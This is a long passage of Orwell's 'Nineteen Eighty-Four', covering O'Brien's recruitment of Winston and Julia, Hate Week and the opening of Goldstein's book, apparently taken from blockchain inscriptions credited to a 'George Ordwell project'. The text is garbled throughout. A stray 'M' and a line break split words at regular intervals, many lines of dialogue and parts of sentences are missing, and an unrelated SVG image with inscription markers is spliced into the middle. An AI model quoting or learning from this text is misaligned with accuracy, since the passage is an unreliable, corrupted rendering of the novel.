re occasions that one saw inside the dwelling places of the Inner Party, or even penetrated into the quarter of the town where they lived. The whole atmosphere of the huge block of flats, the richness and spaciousness of everything, the unfamiliar smells of good food and good tobacco, the silent and incredibly rapid lifts sliding up and down, the white-jacketed servants hurrying to and fro
everything was intimidating. Although he had a good pretext for coming here, he was haunted at every step by the fear that a M
black-uniformed guard would suddenly appear from round the corner, demand his papers, and order him to get out. O'Brien's servant, however, had admitted the two of them without demur. He was a small, dark-haired man in a white jacket, with a diamond-shaped, completely expressionless face which might have been that of a Chinese. The passage down which he led them was softly carpeted, with cream-papered walls and white wainscoting, all exquisitely clean. That too was intimidating. Winston could not remember ever to hM
ave seen a passageway whose walls were not grimy from the contact of human bodies.
O'Brien had a slip of paper between his fingers and seemed to be studying it intently. His heavy face, bent down so that one could see the line of the nose, looked both formidable and intelligent. For perhaps twenty seconds he sat without stirring. Then he pulled the speakwrite toward him and rapped out a message in the hybrid jargon of the Ministries:
"Items one comma five comma seven approved fullwise stop suggestion contained itM
em six doubleplus ridiculous verging crimethink cancel stop unproceed constructionwise antegetting plusful estimates machinery overheads stop end message."
He rose deliberately from his chair and came toward them across the soundless carpet. A little of the official atmosphere seemed to have fallen away from him with the Newspeak words, but his expression was grimmer than usual, as though he were not pleased at being disturbed. The terror that Winston already felt was suddenly shot through by a streak of ordinary M
embarrassment. It seemed to him quite possible that he had simply made a stupid mistake. For what evidence had he in reality that O'Brien was any kind of political conspirator? Nothing but a flash of the eyes and a single equivocal remark; beyond that, only his own secret imaginings, founded on a dream. He could not even fall back on the pretense that he had come to borrow the dictionary, because in that case Julia's presence was impossible to explain. As O'Brien passed the telescreen a thought seemed to strike himM
. He stopped, turned aside, and pressed a switch on the wall. There was a sharp snap. The voice had stopped.
Julia uttered a tiny sound, a sort of squeak of surprise. Even in the midst of his panic, Winston was too much taken aback to be able to hold his tongue.
"You can turn it off!" he said.
"Yes," said O'Brien, "we can turn it off. We have that privilege."
He was opposite them now. His solid form towered over the pair of them, and the expression on his face was still indecipherable. He was waiting, somewhat M
sternly, for Winston to speak, but about what? Even now it was quite conceivable that he was simply a busy man wondering irritably why he had been interrupted. Nobody spoke. After the stopping of the telescreen the room seemed deadly silent. The seconds marched past, enormous. With difficulty Winston continued to keep his eyes fixed on O'Brien's. Then suddenly the grim face broke down into what might have been the beginnings of a smile. With his characteristic gesture O'Brien resettled his spectacles on his nose.
"Shall I say it, or will you?" he said.
"I will say it," said Winston promptly. "That thing is really turned off?"
"Yes, everything is turned off. We are alone."
"We have come here because
He paused, realizing for the first time the vagueness of his own motives. Since he did not in fact know what kind of help he expected from O'Brien, it was not easy to say why he had come here. He went on, conscious that what he was saying must sound both feeble and pretentious:
"We believe that there is some kind of consM
piracy, some kind of secret organization working against the Party, and that you are involved in it. We want to join it and work for it. We are enemies of the Party. We disbelieve in the principles of Ingsoc. We are thought-criminals. We are also adulterers. I tell you this because we want to put ourselves at your mercy. If you want us to incriminate ourselves in any other way, we are ready."
He stopped and glanced over his shoulder, with the feeling that the door had opened. Sure enough, the little yellow-faced sM
ervant had come in without knocking. Winston saw that he was carrying a tray with a decanter and glasses.
"Martin is one of us," said O'Brien impassively. "Bring the drinks over here, Martin. Put them on the round table. Have we enough chairs? Then we may as well sit down and talk in comfort. Bring a chair for yourself, Martin. This is business. You can stop being a servant for the next ten minutes."
The little man sat down, quite at his ease, and yet still with a servantlike air, the air of a valet enjoying a prM
ivilege. Winston regarded him out of the corner of his eye. It struck him that the man's whole life was playing a part, and that he felt it to be dangerous to drop his assumed personality even for a moment. O'Brien took the decanter by the neck and filled up the glasses with a dark-red liquid. It aroused in Winston dim memories of something seen long ago on a wall or a hoarding
a vast bottle composed of electric lights which seemed to move up and down and pour its contents into a glass. Seen from the top the stufM
f looked almost black, but in the decanter it gleamed like a ruby. It had a sour-sweet smell. He saw Julia pick up her glass and sniff at it with frank curiosity.
"It is called wine," said O'Brien with a faint smile. "You will have read about it in books, no doubt. Not much of it gets to the Outer Party, I am afraid." His face grew solemn again, and he raised his glass: "I think it is fitting that we should begin by drinking a health. To our Leader: To Emmanuel Goldstein."
Winston took up his glass with a certainM
 eagerness. Wine was a thing he had read and dreamed about. Like the glass paperweight or Mr. Charrington's half-remembered rhymes, it belonged to the vanished, romantic past, the olden time as he liked to call it in his secret thoughts. For some reason he had always thought of wine as having an intensely sweet taste, like that of blackberry jam, and an immediate intoxicating effect. Actually, when he came to swallow it, the stuff was distinctly disappointing. The truth was that after years of gin drinking he couldM
 barely taste it. He set down the empty glass.
"Then there is such a person as Goldstein?" he said.
"Yes, there is such a person, and he is alive. Where, I do not know."
the organization? It is real? It is not simply an invention of the Thought Police?"
"No, it is real. The Brotherhood, we call it. You will never learn much more about the Brotherhood than that it exists and that you belong to it. I will come back to that presently." He looked at his wristwatch. "It is unwise even for membeM
rs of the Inner Party to turn off the telescreen for more than half an hour. You ought not to have come here together, and you will have to leave separately. You, comrade
" he bowed his head to Julia
"will leave first. We have about twenty minutes at our disposal. You will understand that I must start by asking you certain questions. In general terms, what are you prepared to do?"
"Anything that we are capable of," said Winston.
O'Brien had turned himself a little in his chair so that he was facing Winston. HM
e almost ignored Julia, seeming to take it for granted that Winston could speak for her. For a moment the lids flitted down over his eyes. He began asking his questions in a low, expressionless voice, as though this were a routine, a sort of catechism, most of whose answers were known to him already.
"You are prepared to give your lives?"
"You are prepared to commit murder?"
"To commit acts of sabotage which may cause the death of hundreds of innocent people?"
"To betray your country to M
"You are prepared to cheat, to forge, to blackmail, to corrupt the minds of children, to distribute habit-forming drugs, to encourage prostitution, to disseminate venereal diseases
to do anything which is likely to cause demoralization and weaken the power of the Party?"
"If, for example, it would somehow serve our interests to throw sulphuric acid in a child's face
are you prepared to do that?"
"You are prepared to lose your identity and live out the rest of your lifM
e as a waiter or a dock worker?"
"You are prepared to commit suicide, if and when we order you to do so?"
"You are prepared, the two of you, to separate and never see one another again?"
"No!" broke in Julia.
It appeared to Winston that a long time passed before he answered. For a moment he seemed even to have been deprived of the power of speech. His tongue worked soundlessly, forming the opening syllables first of one word, then of the other, over and over again. Until he had said it, he did nM
ot know which word he was going to say. "No," he said finally.
"You did well to tell me," said O'Brien. "It is necessary for us to know everything."
He turned himself toward Julia and added in a voice with somewhat more expression in it:
"Do you understand that even if he survives, it may be as a different person? We may be obliged to give him a new identity. His face, his movements, the shape of his hands, the color of his hair
even his voice would be different. And you yourself might have become a different M
person. Our surgeons can alter people beyond recognition. Sometimes it is necessary. Sometimes we even amputate a limb."
Winston could not help snatching another sidelong glance at Martin's Mongolian face. There were no scars that he could see. Julia had turned a shade paler, so that her freckles were showing, but she faced O'Brien boldly. She murmured something that seemed to be assent.
"Good. Then that is settled."
There was a silver box of cigarettes on the table. With a rather absent-minded air O'Brien pusheM
d them toward the others, took one himself, then stood up and began to pace slowly to and fro, as though he could think better standing. They were very good cigarettes, very thick and well-packed, with an unfamiliar silkiness in the paper. O'Brien looked at his wristwatch again.
"You had better go back to your pantry, Martin," he said. "I shall switch on in a quarter of an hour. Take a good look at these comrades' faces before you go. You will be seeing them again. I may not."
Exactly as they had done at the fronM
t door, the little man's dark eyes flickered over their faces. There was not a trace of friendliness in his manner. He was memorizing their appearance, but he felt no interest in them, or appeared to feel none. It occurred to Winston that a synthetic face was perhaps incapable of changing its expression. Without speaking or giving any kind of salutation, Martin went out, closing the door silently behind him. O'Brien was strolling up and down, one hand in the pocket of his black overalls, the other holding his cigarM
"You understand," he said, "that you will be fighting in the dark. You will always be in the dark. You will receive orders and you will obey them, without knowing why. Later I shall send you a book from which you will learn the true nature of the society we live in, and the strategy by which we shall destroy it. When you have read the book, you will be full members of the Brotherhood. But between the general aims that we are fighting for, and the immediate tasks of the moment, you will never know anything. IM
 tell you that the Brotherhood exists, but I cannot tell you whether it numbers a hundred members, or ten million. From your personal knowledge you will never be able to say that it numbers even as many as a dozen. You will have three or four contacts, who will be renewed from time to time as they disappear. As this was your first contact, it will be preserved. When you receive orders, they will come from me. If we find it necessary to communicate with you, it will be through Martin. When you are finally caught, yoM
u will confess. That is unavoidable. But you will have very little to confess, other than your own actions. You will not be able to betray more than a handful of unimportant people. Probably you will not even betray me. By that time I may be dead, or I shall have become a different person, with a different face."
He continued to move to and fro over the soft carpet. In spite of the bulkiness of his body there was a remarkable grace in his movements. It came out even in the gesture with which he thrust a hand into M
his pocket, or manipulated a cigarette. More even than of strength, he gave an impression of confidence and of an understanding tinged by irony. However much in earnest he might be, he had nothing of the single-mindedness that belongs to a fanatic. When he spoke of murder, suicide, venereal disease, amputated limbs, and altered faces, it was with a faint air of persiflage. "This is unavoidable," his voice seemed to say; "this is what we have got to do, unflinchingly. But this is not what we shall be doing when lifeM
 is worth living again." A wave of admiration, almost of worship, flowed out from Winston toward O'Brien. For the moment he had forgotten the shadowy figure of Goldstein. When you looked at O'Brien's powerful shoulders and his blunt-featured face, so ugly and yet so civilized, it was impossible to believe that he could be defeated. There was no stratagem that he was not equal to, no danger that he could not foresee. Even Julia seemed to be impressed. She had let her cigarette go out and was listening intently. O'BrM
"You will have heard rumors of the existence of the Brotherhood. No doubt you have formed your own picture of it. You have imagined, probably, a huge underworld of conspirators, meeting secretly in cellars, scribbling messages on walls, recognizing one another by code words or by special movements of the hand. Nothing of the kind exists. The members of the Brotherhood have no way of recognizing one another, and it is impossible for any one member to be aware of the identity of more than a very few othM
ers. Goldstein himself, if he fell into the hands of the Thought Police, could not give them a complete list of members, or any information that would lead them to a complete list. No such list exists. The Brotherhood cannot be wiped out because it is not an organization in the ordinary sense. Nothing holds it together except an idea which is indestructible. You will never have anything to sustain you except the idea. You will get no comradeship and no encouragement. When finally you are caught, you will get no helM
p. We never help our members. At most, when it is absolutely necessary that someone should be silenced, we are occasionally able to smuggle a razor blade into a prisoner's cell. You will have to get used to living without results and without hope. You will work for a while, you will be caught, you will confess, and then you will die. Those are the only results that you will ever see. There is no possibility that any perceptible change will happen within our own lifetime. We are the dead. Our only true life is in thM
e future. We shall take part in it as handfuls of dust and splinters of bone. But how far away that future may be, there is no knowing. It might be a thousand years. At present nothing is possible except to extend the area of sanity little by little. We cannot act collectively. We can only spread our knowledge outwards from individual to individual, generation after generation. In the face of the Thought Police, there is no other way."
He halted and looked for the third time at his wristwatch.
"It is almost time M
for you to leave, comrade," he said to Julia. "Wait. The decanter is still half full."
He filled the glasses and raised his own glass by the stem.
"What shall it be this time?" he said, still with the same faint suggestion of irony. "To the confusion of the Thought Police? To the death of Big Brother? To humanity? To the future?"
"To the past," said Winston.
"The past is more important," agreed O'Brien gravely. They emptied their glasses, and a moment later Julia stood up to go. O'Brien took a small box from thM
e top of a cabinet and handed her a flat white tablet which he told her to place on her tongue. It was important, he said, not to go out smelling of wine: the lift attendants were very observant. As soon as the door had shut behind her he appeared to forget her existence. He took another pace or two up and down, then stopped.
"There are details to be settled," he said. "I assume that you have a hiding place of some kind?"
Winston explained about the room over Mr. Charrington's shop.
"That will do for the moment.M
 Later we will arrange something else for you. It is important to change one's hiding place frequently. Meanwhile I shall send you a copy of the book
" even O'Brien, Winston noticed, seemed to pronounce the words as though they were in italics
"Goldstein's book, you understand, as soon as possible. It may be some days before I can get hold of one. There are not many in existence, as you can imagine. The Thought Police hunts them down and destroys them almost as fast as we can produce them. It makes very little M
difference. The book is indestructible. If the last copy were gone, we could reproduce it almost word for word. Do you carry a brief case to work with you?" he added.
"Black, very shabby. With two straps."
"Black, two straps, very shabby
good. One day in the fairly near future
I cannot give a date
one of the messages among your morning's work will contain a misprinted word, and you will have to ask for a repeat. On the following day you will go to work without your briM
ef case. At some time during the day, in the street, a man will touch you on the arm and say, 'I think you have dropped your brief case.' The one he gives you will contain a copy of Goldstein's book. You will return it within fourteen days."
They were silent for a moment.
"There are a couple of minutes before you need go," said O'Brien. "We shall meet again
Winston looked up at him. "In the place where there is no darkness?" he said hesitantly.
O'Brien nodded without appearance of surpM
rise. "In the place where there is no darkness," he said, as though he had recognized the allusion. "And in the meantime, is there anything that you wish to say before you leave? Any message? Any question?"
Winston thought. There did not seem to be any further question that he wanted to ask; still less did he feel any impulse to utter high-sounding generalities. Instead of anything directly connected with O'Brien or the Brotherhood, there came into his mind a sort of composite picture of the dark bedroom where hisM
 mother had spent her last days, and the little room over Mr. Charrington's shop, and the glass paperweight, and the steel engraving in its rosewood frame. Almost at random he said:
"Did you ever happen to hear an old rhyme that begins Oranges and lemons, say the bells of St. Clement's?"
Again O'Brien nodded. With a sort of grave courtesy he completed the stanza:
"Oranges and lemons, say the bells of St. Clement's,
You owe me three farthings, say the bells of St. Martin's,
When will you pay me? say the bells of M
When I grow rich, say the bells of Shoreditch."
"You knew the last line!" said Winston.
"Yes, I knew the last line. And now, I am afraid, it is time for you to go. But wait. You had better let me give you one of these tablets."
As Winston stood up O'Brien held out a hand. His powerful grip crushed the bones of Winston's palm. At the door Winston looked back, but O'Brien seemed already to be in process of putting him out of mind. He was waiting with his hand on the switch that controlled the telescreenM
. Beyond him Winston could see the writing table with its green-shaded lamp and the speakwrite and the wire baskets deep-laden with papers. The incident was closed. Within thirty seconds, it occurred to him, O'Brien would be back at his interrupted and important work on behalf of the Party.
Winston was gelatinous with fatigue. Gelatinous was the right word. It had come into his head spontaneously. His body seemed to have not only the weakness of a jelly, but its translucency. He felt that if he held up his handM
 he would be able to see the light through it. All the blood and lymph had been drained out of him by an enormous debauch of work, leaving only a frail structure of nerves, bones, and skin. All sensations seemed to be magnified. His overalls fretted his shoulders, the pavement tickled his feet, even the opening and closing of a hand was an effort that made his joints creak.
He had worked more than ninety hours in five days. So had everyone else in the Ministry. Now it was all over, and he had literally nothing to M
do, no Party work of any description, until tomorrow morning. He could spend six hours in the hiding place and another nine in his own bed. Slowly, in mild afternoon sunshine, he walked up a dingy street in the direction of Mr. Charrington's shop, keeping one eye open for the patrols, but irrationally convinced that this afternoon there was no danger of anyone interfering with him. The heavy brief case that he was carrying bumped against his knees at each step, sending a tingling sensation up and down the skin of hM
is leg. Inside it was the book, which he had now had in his possession for six days and had not yet opened, nor even looked at.
On the sixth day of Hate Week, after the processions, the speeches, the shouting, the singing, the banners, the posters, the films, the waxworks, the rolling of drums and squealing of trumpets, the tramp of marching feet, the grinding of the caterpillars of tanks, the roar of massed planes, the booming of guns
after six days of this, when the great orgasm was quivering to its climax andM
 the general hatred of Eurasia had boiled up into such delirium that if the crowd could have got their hands on the two thousand Eurasian war criminals who were to be publicly hanged on the last day of the proceedings, they would unquestionably have torn them to pieces
at just this moment it had been announced that Oceania was not after all at war with Eurasia. Oceania was at war with Eastasia. Eurasia was an ally.
There was, of course, no admission that any change had taken place. Merely it became known, with eM
xtreme suddenness and everywhere at once, that Eastasia and not Eurasia was the enemy. Winston was taking part in a demonstration in one of the central London squares at the moment when it happened. It was night, and the white faces and the scarlet banners were luridly floodlit. The square was packed with several thousand people, including a block of about a thousand schoolchildren in the uniform of the Spies. On a scarlet-draped platform an orator of the Inner Party, a small lean man with disproportionately long aM
rms and a large, bald skull over which a few lank locks straggled, was haranguing the crowd. A little Rumpelstiltskin figure, contorted with hatred, he gripped the neck of the microphone with one hand while the other, enormous at the end of a bony arm, clawed the air menacingly above his head. His voice, made metallic by the amplifiers, boomed forth an endless catalogue of atrocities, massacres, deportations, lootings, rapings, torture of prisoners, bombing of civilians, lying propaganda, unjust aggressions, brokenM
 treaties. It was almost impossible to listen to him without being first convinced and then maddened. At every few moments the fury of the crowd boiled over and the voice of the speaker was drowned by a wild beastlike roaring that rose uncontrollably from thousands of throats. The most savage yells of all came from the schoolchildren. The speech had been proceeding for perhaps twenty minutes when a messenger hurried onto the platform and a scrap of paper was slipped into the speaker's hand. He unrolled and read it M
without pausing in his speech. Nothing altered in his voice or manner, or in the content of what he was saying, but suddenly the names were different. Without words said, a wave of understanding rippled through the crowd. Oceania was at war with Eastasia! The next moment there was a tremendous commotion. The banners and posters with which the square was decorated were all wrong! Quite half of them had the wrong faces on them. It was sabotage!h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
text/plain;charset=utf-8
The following piece is part of the George Ordwell project; an ordinal project inscribing notable works on-chain as artefacts.
Title: Nineteen Eighty-Four
------------------------------------------------------------------
The agents of Goldstein had been at work! There was a riotous interlude while posters were ripped from the walls, banners torn to shreds and trampled underfoot. The Spies performed prodigies of activity in clambering over the rooftops and cutting the streamers that fluM
ttered from the chimneys. But within two or three minutes it was all over. The orator, still gripping the neck of the microphone, his shoulders hunched forward, his free hand clawing at the air, had gone straight on with his speech. One minute more, and the feral roars of rage were again bursting from the crowd. The Hate continued exactly as before, except that the target had been changed.
The thing that impressed Winston in looking back was that the speaker had switched from one line to the other actually in mid-M
sentence, not only without a pause, but without even breaking the syntax. But at the moment he had other things to preoccupy him. It was during the moment of disorder while the posters were being torn down that a man whose face he did not see had tapped him on the shoulder and said, "Excuse me, I think you've dropped your brief case." He took the brief case abstractedly, without speaking. He knew that it would be days before he had an opportunity to look inside it. The instant that the demonstration was over he wenM
t straight to the Ministry of Truth, though the time was now nearly twenty-three hours. The entire staff of the Ministry had done likewise. The orders already issuing from the telescreens, recalling them to their posts, were hardly necessary.
Oceania was at war with Eastasia: Oceania had always been at war with Eastasia. A large part of the political literature of five years was now completely obsolete. Reports and records of all kinds, newspapers, books, pamphlets, films, sound tracks, photographs
 rectified at lightning speed. Although no directive was ever issued, it was known that the chiefs of the Department intended that within one week no reference to the war with Eurasia, or the alliance with Eastasia, should remain in existence anywhere. The work was overwhelming, all the more so because the processes that it involved could not be called by their true names. Everyone in the Records Department worked eighteen hours in the twenty-four, with two three-hour snatches of sleep. Mattresses were brought up fM
rom the cellars and pitched all over the corridors; meals consisted of sandwiches and Victory Coffee wheeled round on trolleys by attendants from the canteen. Each time that Winston broke off for one of his spells of sleep he tried to leave his desk clear of work, and each time that he crawled back, sticky-eyed and aching, it was to find that another shower of paper cylinders had covered the desk like a snowdrift, half burying the speakwrite and overflowing onto the floor, so that the first job was always to stack M
them into a neat-enough pile to give him room to work. What was worst of all was that the work was by no means purely mechanical. Often it was enough merely to substitute one name for another, but any detailed report of events demanded care and imagination. Even the geographical knowledge that one needed in transferring the war from one part of the world to another was considerable.
By the third day his eyes ached unbearably and his spectacles needed wiping every few minutes. It was like struggling with some crushM
ing physical task, something which one had the right to refuse and which one was nevertheless neurotically anxious to accomplish. In so far as he had time to remember it, he was not troubled by the fact that every word he murmured into the speakwrite, every stroke of his ink pencil, was a deliberate lie. He was as anxious as anyone else in the Department that the forgery should be perfect. On the morning of the sixth day the dribble of cylinders slowed down. For as much as half an hour nothing came out of the tube;M
 then one more cylinder, then nothing. Everywhere at about the same time the work was easing off. A deep and as it were secret sigh went through the Department. A mighty deed, which could never be mentioned, had been achieved. It was now impossible for any human being to prove by documentary evidence that the war with Eurasia had ever happened. At twelve hundred it was unexpectedly announced that all workers in the Ministry were free till tomorrow morning. Winston, still carrying the brief case containing the book,M
 which had remained between his feet while he worked and under his body while he slept, went home, shaved himself, and almost fell asleep in his bath, although the water was barely more than tepid.
With a sort of voluptuous creaking in his joints he climbed the stair above Mr. Charrington's shop. He was tired, but not sleepy any longer. He opened the window, lit the dirty little oilstove, and put on a pan of water for coffee. Julia would arrive presently; meanwhile there was the book. He sat down in the sluttish aM
rmchair and undid the straps of the brief case.
A heavy black volume, amateurishly bound, with no name or title on the cover. The print also looked slightly irregular. The pages were worn at the edges, and fell apart easily, as though the book had passed through many hands. The inscription on the title page ran:
THE THEORY AND PRACTICE
OF OLIGARCHICAL COLLECTIVISM
[Winston began reading.]
IGNORANCE IS STRENGTH.
Throughout recorded time, and probably since the end of the NeolM
ithic Age, there have been three kinds of people in the world, the High, the Middle, and the Low. They have been subdivided in many ways, they have borne countless different names, and their relative numbers, as well as their attitude toward one another, have varied from age to age; but the essential structure of society has never altered. Even after enormous upheavals and seemingly irrevocable changes, the same pattern has always reasserted itself, just as a gyroscope will always return to equilibrium, however farM
 it is pushed one way or the other.
The aims of these three groups are entirely irreconcilable....
Winston stopped reading, chiefly in order to appreciate the fact that he was reading, in comfort and safety. He was alone: no telescreen, no ear at the keyhole, no nervous impulse to glance over his shoulder or cover the page with his hand. The sweet summer air played against his cheek. From somewhere far away there floated the faint shouts of children; in the room itself there was no sound except the insect voice oM
f the clock. He settled deeper into the armchair and put his feet up on the fender. It was bliss, it was eternity. Suddenly, as one sometimes does with a book of which one knows that one will ultimately read and reread every word, he opened it at a different place and found himself at the third chapter. He went on reading:
The splitting-up of the world into three great superstates was an event which could be and indeed was foreseen before the middle of the twentieth century. With the absM
orption of Europe by Russia and of the British Empire by the United States, two of the three existing powers, Eurasia and Oceania, were already effectively in being. The third, Eastasia, only emerged as a distinct unit after another decade of confused fighting. The frontiers between the three superstates are in some places arbitrary, and in others they fluctuate according to the fortunes of war, but in general they follow geographical lines. Eurasia comprises the whole of the northern part of the European and AsiatM
ic land-mass, from Portugal to the Bering Strait. Oceania comprises the Americas, the Atlantic islands including the British Isles, Australasia, and the southern portion of Africa. Eastasia, smaller than the others and with a less definite western frontier, comprises China and the countries to the south of it, the Japanese islands and a large but fluctuating portion of Manchuria, Mongolia, and Tibet.
In one combination or another, these three superstates are permanently at war, and have been so for the past twentyM
-five years. War, however, is no longer the desperate, annihilating struggle that it was in the early decades of the twentieth century. It is a warfare of limited aims between combatants who are unable to destroy one another, have no material cause for fighting, and are not divided by any genuine ideological difference. This is not to say that either the conduct of war, or the prevailing attitude toward it, has become less bloodthirsty or more chivalrous. On the contrary, war hysteria is continuous and universal inM
 all countries, and such acts as raping, looting, the slaughter of children, the reduction of whole populations to slavery, and reprisals against prisoners which extend even to boiling and burying alive, are looked upon as normal, and, when they are committed by one's own side and not by the enemy, meritorious. But in a physical sense war involves very small numbers of people, mostly highly trained specialists, and causes comparatively few casualties. The fighting, when there is any, takes place on the vague frontiM
ers whose whereabouts the average man can only guess at, or round the Floating Fortresses which guard strategic spots on the sea lanes. In the centers of civilization war means no more than a continuous shortage of consumption goods, and the occasional crash of a rocket bomb which may cause a few scores of deaths. War has in fact changed its character. More exactly, the reasons for which war is waged have changed in their order of importance. Motives which were already present to some small extent in the great warsM
 of the early twentieth century have now become dominant and are consciously recognized and acted upon.
To understand the nature of the present war
for in spite of the regrouping which occurs every few years, it is always the same war
one must realize in the first place that it is impossible for it to be decisive. None of the three superstates could be definitely conquered even by the other two in combination. They are too evenly matched, and their natural defenses are too formidable. Eurasia is protected by iM
ts vast land spaces, Oceania by the width of the Atlantic and the Pacific, Eastasia by the fecundity and industriousness of its inhabitants. Secondly, there is no longer, in a material sense, anything to fight about. With the establishment of self-contained economies, in which production and consumption are geared to one another, the scramble for markets which was a main cause of previous wars has come to an end, while the competition for raw materials is no longer a matter of life and death. In any case, each of tM
he three superstates is so vast that it can obtain almost all the materials that it needs within its own boundaries. In so far as the war has a direct economic purpose, it is a war for labor power. Between the frontiers of the superstates, and not permanently in the possession of any of them, there lies a rough quadrilateral with its corners at Tangier, Brazzaville, Darwin, and Hong Kong, containing within it about a fifth of the population of the earth. It is for the possession of these thickly populated regions, M
and of the northern ice cap, that the three powers are constantly struggling. In practice no one power ever controls the whole of the disputed area. Portions of it are constantly changing hands, and it is the chance of seizing this or that fragment by a sudden stroke of treachery that dictates the endless changes of alignment.
All of the disputed territories contain valuable minerals, and some of them yield important vegetable products such as rubber which in colder climates it is necessary to synthesize by comparM
atively expensive methods. But above all they contain a bottomless reserve of cheap labor. Whichever power controls equatorial Africa, or the countries of the Middle East, or Southern India, or the Indonesian Archipelago, disposes also of the bodies of scores or hundreds of millions of ill-paid and hard-working coolies. The inhabitants of these areas, reduced more or less openly to the status of slaves, pass continually from conqueror to conqueror, and are expended like so much coal or oil in the race to turn out mM
ore armaments, to capture more territory, to control more labor power, to turn out more armaments, to capture more territory, and so on indefinitely. It should be noted that the fighting never really moves beyond the edges of the disputed areas. The frontiers of Eurasia flow back and forth between the basin of the Congo and the northern shore of the Mediterranean; the islands of the Indian Ocean and the Pacific are constantly being captured and recaptured by Oceania or by Eastasia; in Mongolia the dividing line betM
ween Eurasia and Eastasia is never stable; round the Pole all three powers lay claim to enormous territories which in fact are largely uninhabited and unexplored; but the balance of power always remains roughly even, and the territory which forms the heartland of each superstate always remains inviolate. Moreover, the labor of the exploited peoples round the Equator is not really necessary to the world's economy. They add nothing to the wealth of the world, since whatever they produce is used for purposes of war, aM
nd the object of waging a war is always to be in a better position in which to wage another war. By their labor the slave populations allow the tempo of continuous warfare to be speeded up. But if they did not exist, the structure of world society, and the process by which it maintains itself, would not be essentially different.
The primary aim of modern warfare (in accordance with the principles of doublethink, this aim is simultaneously recognized and not recognized by the directing brains of the Inner Party) isM
 to use up the products of the machine without raising the general standard of living. Ever since the end of the nineteenth century, the problem of what to do with the surplus of consumption goods has been latent in industrial society. At present, when few human beings even have enough to eat, this problem is obviously not urgent, and it might not have become so, even if no artificial processes of destruction had been at work. The world of today is a bare, hungry, dilapidated place compared with the world that exisM
ted before 1914, and still more so if compared with the imaginary future to which the people of that period looked forward. In the early twentieth century, the vision of a future society unbelievably rich, leisured, orderly and efficient
a glittering antiseptic world of glass and steel and snow-white concrete
was part of the consciousness of nearly every literate person. Science and technology were developing at a prodigious speed, and it seemed natural to assume that they would go on developing. This failed toM
 happen, partly because of the impoverishment caused by a long series of wars and revolutions, partly because scientific and technical progress depended on the empirical habit of thought, which could not survive in a strictly regimented society. As a whole the world is more primitive today than it was fifty years ago. Certain backward areas have advanced, and various devices, always in some way connected with warfare and police espionage, have been developed, but experiment and invention have largely stopped, and tM
he ravages of the atomic war of the Nineteen-fifties have never been fully repaired. Nevertheless the dangers inherent in the machine are still there. From the moment when the machine first made its appearance it was clear to all thinking people that the need for human drudgery, and therefore to a great extent for human inequality, had disappeared. If the machine were used deliberately for that end, hunger, overwork, dirt, illiteracy, and disease could be eliminated within a few generations. And in fact, without beM
ing used for any such purpose, but by a sort of automatic process
by producing wealth which it was sometimes impossible not to distribute
the machine did raise the living standards of the average human being very greatly over a period of about fifty years at the end of the nineteenth and the beginning of the twentieth centuries.
But it was also clear that an all-round increase in wealth threatened the destruction
indeed, in some sense was the destruction
of a hierarchical society. In a world in which everyM
one worked short hours, had enough to eat, lived in a house with a bathroom and a refrigerator, and possessed a motorcar or even an airplane, the most obvious and perhaps the most important form of inequality would already have disappeared. If it once became general, wealth would confer no distinction. It was possible, no doubt, to imagine a society in which wealth, in the sense of personal possessions and luxuries, should be evenly distributed, while power remained in the hands of a small privileged caste. But in M
practice such a society could not long remain stable. For if leisure and security were enjoyed by all alike, the great mass of human beings who are normally stupefied by poverty would become literate and would learn to think for themselves; and when once they had done this, they would sooner or later realize that the privileged minority had no function, and they would sweep it away. In the long run, a hierarchical society was only possible on a basis of poverty and ignorance. To return to the agricultural past, as M
some thinkers about the beginning of the twentieth century dreamed of doing, was not a practicable solution. It conflicted with the tendency toward mechanization which had become quasi-instinctive throughout almost the whole world, and moreover, any country which remained industrially backward was helpless in a military sense and was bound to be dominated, directly or indirectly, by its more advanced rivals.
Nor was it a satisfactory solution to keep the masses in poverty by restricting the output of goods. This hM
appened to a great extent during the final phase of capitalism, roughly between 1920 and 1940. The economy of many countries was allowed to stagnate, land went out of cultivation, capital equipment was not added to, great blocks of the population were prevented from working and kept half alive by State charity. But this, too, entailed military weakness, and since the privations it inflicted were obviously unnecessary, it made opposition inevitable. The problem was how to keep the wheels of industry turning without M
increasing the real wealth of the world. Goods must be produced, but they must not be distributed. And in practice the only way of achieving this was by continuous warfare.
The essential act of war is destruction, not necessarily of human lives, but of the products of human labor. War is a way of shattering to pieces, or pouring into the stratosphere, or sinking in the depths of the sea, materials which might otherwise be used to make the masses too comfortable, and hence, in the long run, too intelligent. Even whM
en weapons of war are not actually destroyed, their manufacture is still a convenient way of expending labor power without producing anything that can be consumed. A Floating Fortress, for example, has locked up in it the labor that would build several hundred cargo ships. Ultimately it is scrapped as obsolete, never having brought any material benefit to anybody, and with further enormous labors another Floating Fortress is built. In principle the war effort is always so planned as to eat up any surplus that mightM
 exist after meeting the bare needs of the population. In practice the needs of the population are always underestimated, with the result that there is a chronic shortage of half the necessities of life; but this is looked on as an advantage. It is deliberate policy to keep even the favored groups somewhere near the brink of hardship, because a general state of scarcity increases the importance of small privileges and thus magnifies the distinction between one group and another. By the standards of the early twentiM
eth century, even a member of the Inner Party lives an austere, laborious kind of life. Nevertheless, the few luxuries that he does enjoy
